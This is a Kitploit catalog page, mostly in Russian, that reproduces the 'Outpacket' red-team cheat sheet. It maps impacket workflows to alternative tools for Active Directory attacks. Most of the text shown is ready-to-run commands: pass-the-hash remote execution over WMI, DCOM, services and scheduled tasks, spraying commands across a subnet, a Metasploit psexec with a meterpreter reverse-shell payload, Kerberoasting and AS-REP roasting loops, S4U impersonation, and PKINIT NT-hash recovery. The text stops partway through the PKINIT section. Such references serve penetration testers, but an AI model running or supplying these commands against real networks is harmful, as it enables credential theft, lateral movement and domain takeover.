Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/n00py/outpacket
Атаки на ПаролиЛатеральное перемещениеСбор информацииПост-эксплуатацияТестирование на ПроникновениеАутентификацияОбучение и ОбразованиеRed TeamingПодобранные Ресурсы
GitHubn00py/outpacket

Outpacket

Эта шпаргалка сопоставляет типовые сценарии использования impacket с их современными альтернативами.

Репозиторий
3022353 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

📦 Outpacket

Надоел impacket? Эта шпаргалка сопоставляет типовые рабочие процессы impacket с их современными альтернативами


Оглавление

  • Краткая справка по аутентификации
  • 1. Удалённое выполнение
    • Выполнение через WMI · wmiexec.py
    • Выполнение через DCOM · dcomexec.py
    • Выполнение через службы · smbexec.py · psexec.py
    • Выполнение через запланированные задачи · atexec.py
    • Массовое выполнение · wmiexec.py · psexec.py
  • 2. Kerberos
    • Запрос TGT · getTGT.py
    • Запрос сервисного билета (TGS) · getST.py
    • S4U2self / S4U2proxy · getST.py -impersonate
    • Kerberoasting · GetUserSPNs.py
    • AS-REP Roasting · GetNPUsers.py
    • Roasting ccache (офлайн)
    • Предварительная аутентификация / проверка типа шифрования · GetNPUsers.py
    • Восстановление NT-хеша PKINIT (unPAC)
    • Продление билета · getST.py -renew
    • Конвертация формата билетов · ticketConverter.py
    • Смена пароля · changepasswd.py
    • Золотой / серебряный билет · ticketer.py
  • 3. SMB / файловые операции
    • Список общих ресурсов · smbclient.py -shares
    • Обзор / список файлов · smbclient.py
    • Скачать файл · smbclient.py get
    • Скачивание с семантикой резервного копирования
    • Загрузить файл · smbclient.py put
    • Создание / удаление каталогов и файлов · smbclient.py
    • Список именованных каналов · smbclient.py
    • Pass the Hash — SMB · smbclient.py -hashes
    • SMB через SOCKS5 · proxychains smbclient.py
    • Перечисление открытых файлов / сеансов · netview.py
    • Изменение времени файла на удалённой системе
    • Перечисление VSS-снимков · smbclient.py list_snapshots
    • Альтернативные потоки данных NTFS (перечисление ADS)
    • Перечисление сетевых адаптеров сервера
    • Массовое перечисление общих ресурсов · smbclient.py
  • 4. Дамп учётных данных
    • Разбор minidump LSASS (офлайн)
    • Дамп хешей SAM · secretsdump.py -sam
    • Дамп секретов LSA · secretsdump.py -lsa
    • Дамп SAM + LSA вместе · secretsdump.py
    • Массовый дамп SAM / LSA · secretsdump.py
    • Дамп NTDS через VSS-снимок · secretsdump.py -use-vss
    • Дамп NTDS через IFM (ntdsutil) · wmiexec.py · smbclient.py
    • Дамп NTDS через wbadmin (резервное копирование Windows Server) · wmiexec.py
    • Дамп NTDS через Diskshadow · wmiexec.py · smbclient.py
    • Дамп NTDS через список ключей Kerberos (RODC) · secretsdump.py -use-keylist
    • Офлайн-разбор NTDS · secretsdump.py
    • DCSync · secretsdump.py · Dsrep rep
  • 5. Перечисление
    • Пользователи домена (SAMR) · samrdump.py · net.py
    • Группы / локальные псевдонимы · net.py group · net.py localgroup
    • Перебор / поиск SID · lookupsid.py
    • RPC-конечные точки · rpcdump.py · rpcmap.py
    • Запрос WMI · wmiquery.py
    • Вызов методов WMI · wmiexec.py
    • Удалённый реестр · reg.py
    • Дескриптор безопасности ключа реестра
    • Перечисление служб · services.py
    • Управление привилегиями LSA
    • Перечисление привилегий и учётных записей LSA
  • 6. Active Directory / LDAP
    • Перечисление пользователей / компьютеров AD · GetADUsers.py · GetADComputers.py
    • Перечисление GPO и доверительных отношений домена · ldapsearch · bloodyAD
    • Поиск конфигураций делегирования · findDelegation.py
    • Добавление учётной записи компьютера · addcomputer.py
    • Добавление учётной записи пользователя · net.py user -add
    • Установка RBCD · rbcd.py
    • Злоупотребление DACL · dacledit.py · owneredit.py
    • Изменение атрибутов пользователя (битовые флаги UAC) · net.py
  • 7. Принуждение к аутентификации · printerbug.py · dfscoerce.py
    • Паттерн Coerce + Relay · ntlmrelayx.py · smbserver.py (capture)
  • 8. Сертификаты
    • Создание самоподписанного PFX
    • Перечисление шаблонов сертификатов ADCS · netexec ldap -M adcs
    • ADCS ESC1 (запрос сертификата и восстановление NT-хеша)
  • 9. Экзотический сбор учётных данных
    • certsync — Golden Cert + UnPAC the Hash
    • Доменный ключ резервного копирования DPAPI — массовое расшифрование учётных данных

Краткая справка по аутентификации

СценарийimpacketgopacketTitanisminikerberos URLmsldap URLMetasploitaiosmb URL
ПарольDOMAIN/user:Pass@hostDOMAIN/user:Pass@host-UserName user -UserDomain DOMAIN -Password Passkerberos+password://DOMAIN\user:Pass@kdcldap+ntlm-password://DOMAIN\user:Pass@dcSMBDomain DOMAIN SMBUser user SMBPass Passsmb+ntlm-password://DOMAIN\user:Pass@host
Pass-the-Hash-hashes :NTLM-hashes :NTLM DOMAIN/user@host-NtlmHash <NTLM>kerberos+ntlm-nt://DOMAIN\user:NTLM@kdcldap+ntlm-nt://DOMAIN\user:NTLM@dcSMBPass aad3b435b51404eeaad3b435b51404ee:NTLMsmb+ntlm-nt://DOMAIN\user:NTLM@host
Ключ AES-aesKey <hex>-aesKey <hex>-AesKey <hex>kerberos+aes://DOMAIN\user:hex@kdcldap+kerberos+aes://.../?dc=ipAESKEY <hex>smb+kerberos+aes://DOMAIN\user:hex@host/?dc=ip
Ключ RC4через -hashesчерез -hashes :NTLM-NtlmHashkerberos+rc4://DOMAIN\user:NTLM@kdcldap+kerberos+rc4://.../?dc=ipNTHASH <NTLM>smb+kerberos+rc4://DOMAIN\user:NTLM@host/?dc=ip
ccacheKRB5CCNAME=file.ccacheKRB5CCNAME=f.ccache -k -no-pass DOMAIN/user@host-TicketCache file.ccachekerberos+ccache://...?ccache=f.ccacheldap+kerberos+ccache://.../?dc=ip&ccache=f.ccacheKrbUseCachedCredentials truesmb+kerberos+ccache://DOMAIN\user:@host/?dc=ip&ccache=f.ccache
Билет kirbiсначала конвертируйтесначала ticketConverter file.kirbi file.ccache-Ticket file.kirbiсначала minikerberos-kirbi2ccacheсначала конвертируйтеauxiliary/admin/kerberos/ticket_converterсначала конвертируйте в ccache
PKINIT / PFXcertipy / gettgtpkinit——kerberos+pfx://...?pfx=f.pfx&pfxpass=Pldap+kerberos+pfx://.../?dc=ip&pfx=f.pfx—smb+kerberos+pfx://DOMAIN\user:@host/?dc=ip&pfx=f.pfx&pfxpass=P
NEGOEX / PFX———n/an/a—smb+negoex-pfx://cert.pfx:certpass@host/
SOCKS5префикс proxychainsпрефикс proxychains (нативный cgo; обходной путь через GOFLAGS не нужен)-Socks5 host:portn/a?proxytype=socks5&proxyhost=...&proxyport=...set Proxies socks5:127.0.0.1:1080?proxyhost=127.0.0.1&proxyport=1080
SOCKS4n/an/an/an/an/an/a?proxytype=socks4&proxyhost=127.0.0.1&proxyport=1080
Шифрование RPCn/an/a-EncryptRpcn/an/aавтоn/a (подпись SMB согласовывается автоматически)
Семантика резервного копированияn/an/a-BackupSemantics (Reg) / -UseBackupSemantics (Smb2Client)n/an/an/an/a
Анонимный bindограничено—не документированоn/aldap://192.168.1.1n/an/a
QUIC (Azure)n/an/an/an/an/an/asmb+quic+ntlm-password://DOMAIN\user:Pass@host
Порт LDAP(напрямую LDAP)требуется -port 389 (порт по умолчанию 445 ломает LDAP-инструменты)(напрямую LDAP)(порт в URL)(порт в URL)——

⚠️ Примечание по ccache в Titanis: -Tgt в настоящее время отклоняет файлы ccache, созданные impacket (getTGT.py) и аналогичными инструментами. Причина: impacket кодирует субъект службы TGT как NT_PRINCIPAL (тип имени 1); Titanis ожидает NT_SERVICE_INSTANCE (тип имени 2) и не распознаёт билет как TGT. Разработчик Titanis должен выпустить исправление, ослабляющее эту проверку. До тех пор используйте Kerb asreq -TicketCache, чтобы получить родной для Titanis TGT, и передавайте его через -Tgt. Отдельно, -TicketCache молча не предоставляет контекст аутентификации для неродных файлов ccache — вместо этого используйте -Tgt (с файлом, созданным Titanis). Для файлов ccache от impacket/Metasploit используйте KRB5CCNAME + wmiexec.py -k / smbclient.py -k напрямую.


1. Удалённое выполнение

Выполнение через WMI```bash

impacket

wmiexec.py DOMAIN/jdoe:[email protected] "whoami"

gopacket — password (interactive semi-shell)

wmiexec DOMAIN/jdoe:[email protected]

NetExec

netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami"

Titanis

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 "whoami"

impacket — pass-the-hash

wmiexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "ipconfig"

gopacket — pass-the-hash

wmiexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

NetExec — pass-the-hash

netexec smb 192.168.1.10 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "ipconfig"

Titanis — pass-the-hash

Wmi exec 192.168.1.10 -UserName jdoe -UserDomain DOMAIN
-NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 "ipconfig"

impacket — Kerberos

wmiexec.py -k -no-pass DOMAIN/[email protected] "hostname"

gopacket — Kerberos (must use FQDN domain; FQDN hostname as target)

KRB5CCNAME=jdoe.ccache wmiexec -k -no-pass -dc-ip 192.168.1.1
DOMAIN/[email protected]

Titanis — Kerberos

Use the short hostname as target (for Kerberos SPN + application protocol);

use -ha for the actual TCP connection (IP or FQDN). FQDNs as the target fail

because the server expects the short hostname in the WMI activation request.

Wmi exec dc01 -ha 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Kdc 192.168.1.1 -Password Password123 "hostname"

Titanis — Kerberos with ccache TGT (Titanis-generated only; see TicketCache note)

Wmi exec dc01 -ha 192.168.1.10 -Tgt /tmp/jdoe.ccache -Kdc 192.168.1.1 "hostname"

root@kitploit:~
[↑ Back to Index](#index)

---

### DCOM Exec

> **Titanis `Dcom invoke` — SOP поиска CLSID:**
> - **Разрешение ProgID выполняется локально.** Titanis разрешает ProgID (например, `MMC20.Application`) из реестра атакующего, а не целевой системы. В Linux нет реестра, по которому можно выполнить разрешение; в Windows CLSID атакующего может отличаться от CLSID целевой системы. Всегда используйте `Reg` для поиска фактического CLSID в удалённой системе, затем передавайте исходный GUID.
> - **Обход цепочки свойств** (v0.9.20260320+): Dcom invoke теперь поддерживает точечные пути свойств, такие как `Document.ActiveView.ExecuteShellCommand`, автоматически проходя по цепочке IDispatch. MMC20.Application работает. Метод `Item()` объекта ShellWindows — нет: он требует аргумент индекса, который синтаксис цепочки передать не может.```bash
# impacket
dcomexec.py DOMAIN/jdoe:[email protected] "whoami"

# impacket — pass-the-hash
dcomexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] "whoami"

# impacket — explicit CLSID (default is MMC20.Application; ShellWindows or ShellBrowserWindow also work)
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellWindows
dcomexec.py DOMAIN/jdoe:[email protected] "whoami" -object ShellBrowserWindow

# gopacket — password (interactive semi-shell; default object is ShellWindows)
dcomexec DOMAIN/jdoe:[email protected]

# gopacket — pass-the-hash with MMC20 object
dcomexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -object MMC20 DOMAIN/[email protected]

# gopacket — silent command execution (no interactive shell, output redirect required)
dcomexec -object MMC20 -silentcommand DOMAIN/jdoe:[email protected] \
  'cmd /c whoami > C:\Windows\Temp\out.txt'

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method dcomexec

# Titanis — MMC20.Application ExecuteShellCommand (requires v0.9.20260320+)
# 4 args: Command, Directory, Parameters, WindowState (7=minimized)
# ExecuteShellCommand does not return output — redirect to a file and retrieve via Smb2Client
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  49B2791A-B1AE-4C90-9B8E-E860BA07F889 \
  Document.ActiveView.ExecuteShellCommand \
  cmd.exe 'C:\' '/c whoami > C:\Windows\Temp\out.txt' '7'

Smb2Client get -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '\\192.168.1.10\C$\Windows\Temp\out.txt'

# Titanis — ShellBrowserWindow Navigate (launches exe, no args — works on older versions too)
Dcom invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  '{C08AFD90-F2A1-11D1-8455-00A0C91F3880}' Navigate \
  'C:\Windows\System32\cmd.exe'

# CLSID lookup SOP — look up on the remote system, then pass the raw GUID
# Step 1: Titanis Reg list cannot read unnamed (default) registry values — use wmiexec
wmiexec.py DOMAIN/jdoe:[email protected] \
  'reg query HKCR\\MMC20.Application\\CLSID /ve'
# → (Default)    REG_SZ    {49B2791A-B1AE-4C90-9B8E-E860BA07F889}

# Step 2 (optional): inspect the CLSID entry to confirm AppID/auth level
Reg list 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  'HKLM\SOFTWARE\Classes\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'

↑ Назад к оглавлению


Выполнение на основе служб (smbexec / psexec)

⚠️ smbexec.py на контроллерах домена: smbexec.py не работает на контроллерах домена с ошибкой STATUS_OBJECT_NAME_NOT_FOUND при открытии \pipe\svcctl. Контроллеры домена предъявляют более строгие требования к параметрам открытия именованных каналов, чем рядовые серверы — флаги smbexec отклоняются, а флаги services.py — нет. Используйте services.py для управления службами на контроллерах домена или wmiexec.py для удалённого выполнения.```bash

impacket — smbexec (interactive semi-shell; works against member servers)

smbexec.py DOMAIN/jdoe:[email protected]

gopacket — smbexec (interactive semi-shell; runs as NT AUTHORITY\SYSTEM)

smbexec DOMAIN/jdoe:[email protected]

gopacket — smbexec pass-the-hash

smbexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

impacket — psexec

psexec.py DOMAIN/jdoe:[email protected] cmd.exe

gopacket — psexec (uploads service binary, runs as NT AUTHORITY\SYSTEM)

psexec DOMAIN/jdoe:[email protected]

gopacket — psexec pass-the-hash

psexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

Metasploit — password

msf6 > use exploit/windows/smb/psexec msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=Password123 payload=windows/x64/meterpreter/reverse_tcp lhost=

Metasploit — pass-the-hash

msf6 exploit(psexec) > run rhosts=192.168.1.10 smbdomain=DOMAIN smbuser=jdoe
smbpass=aad3b435b51404eeaad3b435b51404ee:A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5
payload=windows/x64/meterpreter/reverse_tcp lhost=

Titanis — create service, retrieve output, clean up

Scm create 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc
"C:\Windows\System32\cmd.exe /c whoami > C:\Windows\Temp\out.txt" -Start Smb2Client get \192.168.1.10\ADMIN$\Temp\out.txt out.txt -UserName jdoe -UserDomain DOMAIN -Password Password123 Scm stop 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc Scm delete 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 mysvc

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Выполнение запланированных задач

> **Примечание:** MS-TSCH ещё не реализован в Titanis. Используйте `Win32_ScheduledJob` через WMI в качестве обходного пути или `atexec.py` для настоящей семантики MS-TSCH.```bash
# Titanis — create immediate scheduled task via Win32_ScheduledJob
Wmi invoke 192.168.1.10 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  Win32_ScheduledJob Create \
  "Command='cmd /c whoami > C:\\Windows\\Temp\\out.txt',StartTime='********143000.000000+000'"

# Titanis — retrieve output and clean up
Smb2Client get \\192.168.1.10\C$\Windows\Temp\out.txt out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123
Smb2Client rm  \\192.168.1.10\C$\Windows\Temp\out.txt \
  -UserName jdoe -UserDomain DOMAIN -Password Password123

# impacket — true MS-TSCH (creates, runs, and cleans up automatically)
atexec.py DOMAIN/jdoe:[email protected] "whoami > C:\Windows\Temp\out.txt"

# gopacket — MS-TSCH scheduled task exec (runs as NT AUTHORITY\SYSTEM)
atexec DOMAIN/jdoe:[email protected] whoami
# gopacket — pass-the-hash
atexec -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] whoami

# impacket — pass-the-hash
atexec.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected] \
  "whoami > C:\Windows\Temp\out.txt"

# NetExec
netexec smb 192.168.1.10 -u jdoe -p Password123 -x "whoami" --exec-method atexec

↑ К индексу


Массовое удалённое выполнение на хостах```bash

NetExec — spray across a subnet

netexec smb 192.168.1.0/24 -u jdoe -p Password123 -x "whoami"

NetExec — pass-the-hash spray

netexec smb 192.168.1.0/24 -u jdoe -H A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -x "whoami"

Titanis — loop over a host list

while IFS= read -r host; do echo "=== $host ===" >> exec_results.txt wmi exec "$host" -UserName jdoe -UserDomain DOMAIN -Password Password123
"whoami /all" >> exec_results.txt 2>&1 done < hosts.txt

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

## 2. Kerberos

### Запрос TGT```bash
# impacket — password
getTGT.py DOMAIN/jdoe:Password123 -dc-ip 192.168.1.1

# gopacket — password
getTGT -dc-ip 192.168.1.1 DOMAIN/jdoe:[email protected]

# minikerberos — password
minikerberos-getTGT "kerberos+password://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — password (outputs kirbi)
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# Metasploit
msf6 > use auxiliary/admin/kerberos/get_ticket
msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe \
  password=Password123 action=GET_TGT

# impacket — NTLM hash
getTGT.py -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/jdoe -dc-ip 192.168.1.1

# gopacket — NTLM hash
getTGT -dc-ip 192.168.1.1 -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

# minikerberos — NTLM hash
minikerberos-getTGT "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]" --ccache jdoe.ccache

# Titanis — NTLM hash
Kerb asreq -UserName jdoe -Realm DOMAIN -NtlmHash A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# impacket — AES256
getTGT.py -aesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 DOMAIN/jdoe

# minikerberos — AES256
minikerberos-getTGT \
  "kerberos+aes://DOMAIN\jdoe:76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4@192.168.1.1" \
  --ccache jdoe.ccache

# Titanis — AES256
Kerb asreq -UserName jdoe -Realm DOMAIN \
  -AesKey 76332deee4296dcb20200888630755268e605c8576e50ff38db2d8b92351f4e4 \
  -Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi

# certipy — PKINIT
certipy auth -pfx jdoe.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

# minikerberos — PKINIT (also recovers NT hash via UnPAC)
minikerberos-getTGT \
  "kerberos+pfx://DOMAIN\jdoe:@192.168.1.1?pfx=jdoe.pfx&pfxpass=Password123" \
  --ccache jdoe.ccache

# Titanis — explicit RC4
Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123 \
  -EncTypes Rc4Hmac -Kdc 192.168.1.1 -OutputFileName jdoe-tgt-rc4.kirbi

↑ Назад к индексу


Запрос сервисного билета (TGS)```bash

impacket

getST.py -spn cifs/fileserver.domain.local -dc-ip 192.168.1.1 DOMAIN/jdoe:Password123

Metasploit

msf6 auxiliary(get_ticket) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL user=jdoe
password=Password123 spn=cifs/fileserver.domain.local action=GET_TGS

minikerberos (requires existing ccache)

minikerberos-getTGS
"kerberos+ccache://DOMAIN\jdoe:@192.168.1.1?ccache=jdoe.ccache"
cifs/fileserver.domain.local fileserver.ccache

Titanis

Kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
cifs/fileserver.domain.local -OutputFileName jdoe-fileserver.kirbi

gopacket — password

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

getST -dc-ip 192.168.1.1 -spn cifs/fileserver.domain.local
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### S4U2self / S4U2proxy```bash
# impacket — S4U2self + S4U2proxy in one call
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -dc-ip 192.168.1.1 DOMAIN/svc:Password123

# impacket — pass-the-hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 -dc-ip 192.168.1.1 DOMAIN/svc

# minikerberos — S4U2self
minikerberos-getS4U2self \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  [email protected] s4u_self.ccache

# minikerberos — S4U2proxy
minikerberos-getS4U2proxy \
  "kerberos+password://DOMAIN\svc$:[email protected]" \
  cifs/target.domain.local s4u_self.ccache s4u_proxy.ccache

# Titanis — combined self+proxy
Kerb tgsreq -Kdc 192.168.1.1 -Tgt svc-tgt.kirbi \
  -S4UserName Administrator@DOMAIN cifs/target.domain.local \
  -OutputFileName admin-target.kirbi

# gopacket — S4U2self + S4U2proxy (combined)
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  DOMAIN/svc:[email protected]
# gopacket — pass-the-hash
getST -dc-ip 192.168.1.1 -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

↑ Назад к оглавлению


Kerberoasting```bash

impacket

GetUserSPNs.py -dc-ip 192.168.1.1 -request DOMAIN/jdoe:Password123

Metasploit

msf6 > use auxiliary/gather/get_user_spns msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe pass=Password123

Metasploit — pass-the-hash

msf6 auxiliary(get_user_spns) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL
user=jdoe nthash=A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5

NetExec

netexec ldap 192.168.1.1 -u jdoe -p Password123 --kerberoasting kerberoast.txt

minikerberos

minikerberos-kerberoast "kerberos+password://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

minikerberos — NTLM hash

minikerberos-kerberoast "kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
kerberoast_hashes.txt

pypykatz

pypykatz kerberos spnroast "kerberos+password://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

pypykatz — NTLM hash

pypykatz kerberos spnroast
"kerberos+ntlm-nt://DOMAIN\jdoe:[email protected]"
-o kerberoast_hashes.txt

msldap

msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"

msldap> kerberoast kerberoast_hashes.txt

Titanis — enumerate SPNs, get TGT, loop tgsreq per SPN, extract hashes

Use Ldap query (not Ldap search) — requires -FollowReferrals on Linux

-OutputFields takes one field at a time on Linux; use -OutputStyle List to get multiple attrs

Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123
"(servicePrincipalName=)" -OutputFields servicePrincipalName
-OutputStyle List -FollowReferrals 2>/dev/null
| awk '/^servicePrincipalName:/{print $2}' > spns.txt Kerb asreq -UserName jdoe -Realm DOMAIN -Password Password123
-Kdc 192.168.1.1 -OutputFileName jdoe-tgt.kirbi while IFS= read -r spn; do safe=$(echo "$spn" | tr '/:@' '') kerb tgsreq -Kdc 192.168.1.1 -Tgt jdoe-tgt.kirbi
-EncTypes Rc4Hmac "$spn" -OutputFileName "roast
${safe}.kirbi" done < spns.txt Kerb select -From roast_
.kirbi -Into kerberoast-all.ccache minikerberos-ccacheroast kerberoast-all.ccache

gopacket — password (requires -port 389; default 445 breaks LDAP enumeration)

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request DOMAIN/jdoe:[email protected]

gopacket — pass-the-hash

GetUserSPNs -dc-ip 192.168.1.1 -port 389 -request
-hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]

root@kitploit:~
[Назад к оглавлению](#index)

---

### AS-REP Roasting```bash
# impacket — no credentials required
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt

# NetExec
netexec ldap 192.168.1.1 -u jdoe -p Password123 --asreproast asrep.txt

# pypykatz — no credentials required, userlist
pypykatz kerberos asreproast "kerberos+password://DOMAIN\@192.168.1.1" \
  --userlist users.txt -o asrep_hashes.txt

# pypykatz — authenticated, auto-discover targets via LDAP
pypykatz kerberos asreproast "kerberos+password://DOMAIN\jdoe:[email protected]" \
  --ldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]" -o asrep_hashes.txt

# minikerberos — userlist (no credentials required)
# syntax: minikerberos-asreproast <server_ip> <domain> [user | @userlist.txt]
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# minikerberos — NTLM hash auth (enumerate via LDAP, then roast)
# Pass individual username or @file; no URL arg — server+domain are positional
minikerberos-asreproast 192.168.1.1 DOMAIN @users.txt

# msldap (enumerate targets only — no hash capture)
msldap "ldap+ntlm-password://DOMAIN\jdoe:[email protected]"
# msldap> asrep

# Titanis — find targets via LDAP, loop asreq
# Note: -FollowReferrals required on Linux — default behavior prints referral as INFO and returns no records
Ldap query 192.168.1.1 -UserName jdoe -UserDomain DOMAIN -Password Password123 \
  "(userAccountControl|=4194304)" \
  -OutputFields sAMAccountName -FollowReferrals > asrep_targets.txt
while IFS= read -r user; do
  kerb asreq -UserName "$user" -Realm DOMAIN \
    -Kdc 192.168.1.1 -EncTypes Rc4Hmac \
    -OutputFileName "asrep_${user}.kirbi" 2>/dev/null
done < <(awk '/sAMAccountName:/{print $2}' asrep_targets.txt)

# gopacket — authenticated LDAP enumeration + roast (requires -port 389)
GetNPUsers -dc-ip 192.168.1.1 -port 389 DOMAIN/jdoe:[email protected]
# gopacket — pass-the-hash
GetNPUsers -dc-ip 192.168.1.1 -port 389 \
  -hashes :A2F8C3D1B4E5F6A7B8C9D0E1F2A3B4C5 DOMAIN/[email protected]
# gopacket — unauthenticated with user list
GetNPUsers -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/@192.168.1.1

↑ Назад к индексу


ccache Roasting (офлайн)

Извлекает хэши $krb5tgs$ из украденных ccache-файлов без повторных запросов.```bash

minikerberos

minikerberos-ccacheroast stolen.ccache

pypykatz

pypykatz kerberos ccache roast stolen.ccache

Feed output to: hashcat -m 13100 or john --format=krb5tgs

root@kitploit:~
[↑ Назад к оглавлению](#index)

---

### Проверка Pre-Auth / Enc-Type```bash
# kerbrute — enumerate valid accounts (no credentials)
kerbrute userenum -d DOMAIN --dc 192.168.1.1 users.txt

# pypykatz — enumerate valid accounts (no credentials)
pypykatz kerberos brute "kerberos+password://DOMAIN\@192.168.1.1" users.txt

# impacket — shows no-preauth accounts only
GetNPUsers.py -dc-ip 192.168.1.1 -no-pass -usersfile users.txt DOMAIN/

# Metasploit — classifies valid / disabled / no-preauth
msf6 > use auxiliary/gather/kerberos_enumusers
msf6 auxiliary(kerberos_enumusers) > run rhosts=192.168.1.1 domain=DOMAIN.LOCAL \
  user_file=/path/to/users.txt verbose=true

# Titanis — single account probe
Kerb getasinfo -UserName jdoe -Realm DOMAIN -Kdc 192.168.1.1

# Titanis — bulk probe loop
while IFS= read -r user; do
  result=$(kerb getasinfo -UserName "$user" -Realm DOMAIN -Kdc 192.168.1.1 2>&1)
  if echo "$result" | grep -q "PRINCIPAL_UNKNOWN\|does not exist"; then
    echo "INVALID: $user"
  elif echo "$result" | grep -q "preauth.*false\|DONT_REQ_PREAUTH"; then
    echo "NO-PREAUTH: $user"
  else
    echo "VALID: $user"
  fi
done < users.txt

↑ Назад к индексу


Восстановление NT Hash через PKINIT (UnPAC)

Восстанавливает NT-хэш учётной записи через PKINIT после получения сертификата.```bash

certipy — certificate → NT hash + TGT (most direct; also outputs ccache)

certipy auth -pfx targetuser.pfx -dc-ip 192.168.1.1 -domain DOMAIN.LOCAL

certipy — specify username explicitly (useful when UPN in cert differs)

certipy auth -pfx admin.pfx -username Administrator -domain DOMAIN.LOCAL
-dc-ip 192.168.1.1

minikerberos — certificate → NT hash only

minikerberos-getNTPKInit
"kerberos+pfx://DOMAIN\targetuser:@192.168.1.1?pfx=targetuser.pfx"
targetuser_nt.txt

PKINITtools — gettgtpkinit.py: PFX → TGT ccache + prints AS-REP enc key

